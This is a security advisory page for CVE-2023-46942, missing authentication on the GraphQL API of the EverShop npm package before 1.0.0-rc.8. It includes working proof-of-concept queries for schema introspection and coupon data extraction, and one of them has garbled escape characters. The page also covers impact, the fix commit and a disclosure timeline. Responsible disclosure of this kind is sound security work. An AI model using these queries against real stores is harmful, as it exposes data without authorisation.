---
title: "CVE-2023-46942"
date: "2023-08-25T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2023-46942/"
---

# CVE-2023-46942

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Aug 25, 2023

CVE-2023-46942  **Published:** Aug 25, 2023

CWE-287 CWE-287 Improper Authentication  7.5 High Severity authentication endpoints GraphQL introspection lack

BD Bruno Dias  Reported by Checkmarx Zero

Details Overview

## Summary

NPM’s package `@evershop/evershop` prior to 1.0.0-rc.8 has a lack of authentication in its GraphQL endpoints, allowing any user to access sensitive data without proper authorization.

## Product

This vulnerability affects NPM’s package `@evershop/evershop` in versions prior to 1.0.0-rc.8.

## Impact

This vulnerability allows any user to execute introspection queries and perform actions without proper authorization in the GraphQL API (enumeration of the database and extraction of the whole schema details) leading to the exposure of sensitive data.

## Steps to reproduce

1. Install the `@evershop/evershop` package dependency for any version prior to 1.0.0-rc.8
2. Run the EverShop Web Application on localhost
3. Make a `POST` request to GraphQL API with the following query to enumerate the database and extract schema:

    ```gql
    {"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"}
    ```
4. Make a `POST` request to GraphQL API to retrieve basic details about coupons (current filters, the total number of coupons, their respective IDs) with the following query:

    ```gql
    {"query": "query { coupons(filters:[]) { currentFilters { operation } total items { couponId } }}"}
    ```
5. Once the coupon ID is obtained make a `POST` request to GraphQL API with the following query (in this example coupon ID: 1) to obtain the full information of the coupon:

    ```gql
    {"query": "query {ntcoupon(id:1) {nttupdateApinttcouponnttendDate {nttttimezonentt}nttdescriptionnttdiscountAmountnttuserCondition {ntttgroupsntt}nttcouponIdnttuuidnttdeleteApintteditUrlnttusedTimenttcondition {ntttorderTotalntt}nttmaxUsesTimePerCouponntttargetProducts {ntttproducts {nttttoperatornttt}ntt}nttfreeShippingnttbuyxGety {ntttskuntt}nttdiscountTypenttmaxUsesTimePerCustomernttstartDate {nttttimezonentt}nttstatusnt}n}"}
    ```

### Expected result:

Successful extraction of detailed information about a specific coupon using the obtained coupon ID.

## Remediation

A fix was released in commit [72d478a](https://github.com/evershopcommerce/evershop/commit/72d478a748e7994b46f7aecee9a849a9ef15db43), where the admin and frontStore GraphQL schema were seperated. Users are recommended to upgrade to version 1.0.0-rc.8, which includes this fix.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst [Bruno Dias](https://www.linkedin.com/in/bruno-dias-b9207a151/).

## Resources

1. [Pull Request](https://github.com/evershopcommerce/evershop/pull/342)
2. [Commit](https://github.com/evershopcommerce/evershop/commit/72d478a748e7994b46f7aecee9a849a9ef15db43)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None

Advisory Timeline1. Discovered Mar 17, 2023
2. Disclosed May 18, 2023 The vulnerability was privately disclosed to the maintainer
3. Fixed Aug 25, 2023 A fix commit was released with the vulnerability fix.

## Explore more findings

[22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/)
